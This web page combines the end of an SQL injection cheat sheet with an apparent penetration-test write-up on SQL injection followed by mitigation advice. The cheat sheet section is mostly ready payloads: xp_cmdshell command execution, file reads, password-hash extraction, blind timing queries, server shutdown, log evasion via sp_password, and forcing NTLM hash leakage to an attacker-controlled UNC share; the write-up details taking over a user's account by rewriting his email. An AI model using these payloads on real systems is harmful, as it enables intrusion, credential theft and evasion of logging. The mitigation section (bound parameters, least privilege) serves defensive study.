    1. Create table foo( line varchar(8000) )

    2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'

    3. Drop temp table, and repeat for another file.

BCP (S)


Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar


VBS, WSH in SQL Server (S)


You can use VBS, WSH scripting in SQL Server because of ActiveX support.


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --


Executing system commands, xp_cmdshell (S)


Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.


EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'


Simple ping check (configure your firewall or sniffer to identify request before launch it),


EXEC master.dbo.xp_cmdshell 'ping '


You can not read results directly from error or union or something else.


Some Special Tables in SQL Server (S)



  • Error Messages
    master..sysmessages


  • Linked Servers
    master..sysservers


  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )
    SQL Server 2000: masters..sysxlogins
    SQL Server 2005 : sys.sql_logins

More Stored Procedures for SQL Server (S)



  1. Cmd Execute (xp_cmdshell)
    exec master..xp_cmdshell 'dir'


  2. Registry Stuff (xp_regread)


    1. xp_regaddmultistring

    2. xp_regdeletekey

    3. xp_regdeletevalue

    4. xp_regenumkeys

    5. xp_regenumvalues

    6. xp_regread

    7. xp_regremovemultistring

    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'


  3. Managing Services (xp_servicecontrol)

  4. Medias (xp_availablemedia)

  5. ODBC Resources (xp_enumdsn)

  6. Login mode (xp_loginconfig)

  7. Creating Cab Files (xp_makecab)

  8. Domain Enumeration (xp_ntsec_enumdomains)

  9. Process Killing (need PID) (xp_terminate_process)

  10. Add new procedure (virtually you can execute whatever you want)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver

  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes


SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/


DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0


HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx


You can not use sub selects in SQL Server Insert queries.


SQL Injection in LIMIT (M) or ORDER (MSO)


SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;


If injection is in second limit you can comment it out or use in your union injection


Shutdown SQL Server (S)


When you really pissed off, ';shutdown --


Enabling xp_cmdshell in SQL Server 2005


By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.


EXEC sp_configure 'show advanced options',1
RECONFIGURE


EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE


Finding Database Structure in SQL Server (S)


Getting User defined Tables


SELECT name FROM sysobjects WHERE xtype = 'U'


Getting Column Names


SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')


Moving records (S)



  • Modify WHERE and use NOT IN or NOT EXIST,
    ... WHERE users NOT IN ('First User', 'Second User')
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one


  • Using Dirty Tricks
    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21



Fast way to extract data from Error Based SQL Injections in SQL Server (S)


';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--


Detailed Article : Fast way to extract data from Error Based SQL Injections


Blind SQL Injections


About Blind SQL Injections


In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.


Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.


In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.


Real and a bit Complex Blind SQL Injection Attack Sample


This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.


TRUE and FALSE flags mark queries returned true or false.


TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--


Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.



Waiting For Blind SQL Injections


First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.


WAIT FOR DELAY 'time' (S)


This is just like sleep, wait for spesified time. CPU safe way to make database wait.


WAITFOR DELAY '0:0:10'--


Also you can use fractions like this,


WAITFOR DELAY '0:0:0.51'


Real World Samples



  • Are we 'sa' ?
    if (select user) = 'sa' waitfor delay '0:0:10'

  • ProductID = 1;waitfor delay '0:0:10'--

  • ProductID =1);waitfor delay '0:0:10'--

  • ProductID =1';waitfor delay '0:0:10'--

  • ProductID =1');waitfor delay '0:0:10'--

  • ProductID =1));waitfor delay '0:0:10'--

  • ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)


Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!


BENCHMARK(howmanytimes, do this)


Real World Samples



  • Are we root ? woot!
    IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))


  • Check Table exist in MySQL
    IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)


Sleep for supplied seconds.



  • SELECT pg_sleep(10);
    Sleep 10 seconds.

Covering Tracks


SQL Server -sp_password log bypass (S)


SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)


Clear SQL Injection Tests


These tests are simply good for blind sql injection and silent attacks.



  1. product.asp?id=4 (SMO)

    1. product.asp?id=5-1

    2. product.asp?id=4 OR 1=1


  2. product.asp?name=Book

    1. product.asp?name=Bo’%2b’ok

    2. product.asp?name=Bo’ ’ok (OM)

    3. product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes



  • Sub Queries are working only MySQL 4.1+

  • Users

    • SELECT User,Password FROM mysql.user;

  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

  • SELECT ... INTO DUMPFILE

    • Write query into a new file (can not modify existing files)

  • UDF Function

    • create function LockWorkStation returns integer soname 'user32';

    • select LockWorkStation();

    • create function ExitProcess returns integer soname 'kernel32';

    • select exitprocess();

  • SELECT USER();

  • SELECT password,USER() FROM mysql.user;

  • First byte of admin hash

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

  • Read File

    • query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  • MySQL Load Data inifile


    • By default it’s not avaliable !

      • create table foo( line blob );
        load data infile 'c:/boot.ini' into table foo;
        select * from foo;

  • More Timing in MySQL

  • select benchmark( 500000, sha1( 'test' ) );

  • query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  • select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    Enumeration data, Guessed Brute Force

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions



  • MD5()
    MD5 Hashing

  • SHA1()
    SHA1 Hashing


  • PASSWORD()

  • ENCODE()

  • COMPRESS()
    Compress data, can be great in large binary reading in Blind SQL Injections.

  • ROW_COUNT()

  • SCHEMA()

  • VERSION()
    Same as @@version

Second Order SQL Injections


Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.


Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com


If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.


Forcing SQL Server to get NTLM Hashes


This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.


Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'


Check out Bulk Insert Reference to understand how can you use bulk insert.


References


Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.



ChangeLog



  • 15/03/2007 - Public Release v1.0

  • 16/03/2007 - v1.1

    • Links added for some paper and book references

    • Collation sample added

    • Some typos fixed

    • Styles and Formatting improved

    • New MySQL version and comment samples

    • PostgreSQL Added to Ascii and legends, pg_sleep() added blind section

    • Blind SQL Injection section and improvements, new samples

    • Reference paper added for MySQL comments

  • 21/03/2007 - v1.2

    • BENCHMARK() sample changed to avoid people DoS their MySQL Servers

    • More Formatting and Typo

    • Descriptions for some MySQL Function

  • 30/03/2007 v1.3

    • Niko pointed out PotsgreSQL and PHP supports stacked queries

    • Bypassing second MD5 check login screens description and attack added

    • Mark came with extracting NTLM session idea, added

    • Detailed Blind SQL Exploitation added

  • 13/04/2007 v1.4 - Release


Find and exploit SQL Injections with Free Web Application Security Scanner



To Do / Contact / Help


I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just drop me an email (ferruh-at-mavituna.com).



What is SQL injection ??

by Vips Zadafiya · 0

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist
FROM table
WHERE field = 'steve@unixwiz.net'';
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:


--------------------------------------------------------------------------------
Your login information has been mailed to random.person@example.com.
--------------------------------------------------------------------------------
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

•"Your login information has been mailed to email"
•"We don't recognize your email address"
•Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping
The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist
FROM table
WHERE email = 'x' AND userid IS NULL; --';
As a result of this process, we found several valid field names:

•email
•passwd
•login_id
•full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name
The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users
At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing
One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly
So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member
Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

1.We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
2.The web application user might not have INSERT permission on the members table.
3.There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
4.Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
5.A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password
We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
UPDATE members
SET email = 'steve@unixwiz.net'
WHERE email = 'bob@example.com';
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches
In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.

We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.
Mitigations
We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
--------------------------------------------------------------------------------

It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.

The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.

Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.


--------------------------------------------------------------------------------
Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
FROM table
WHERE id = 23 OR 1=1; -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
FROM customers
WHERE name = 'Bill O''Reilly'; -- works OK
However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist
FROM customers
WHERE name = '\''; DROP TABLE users; --'; -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
+ formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
"SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
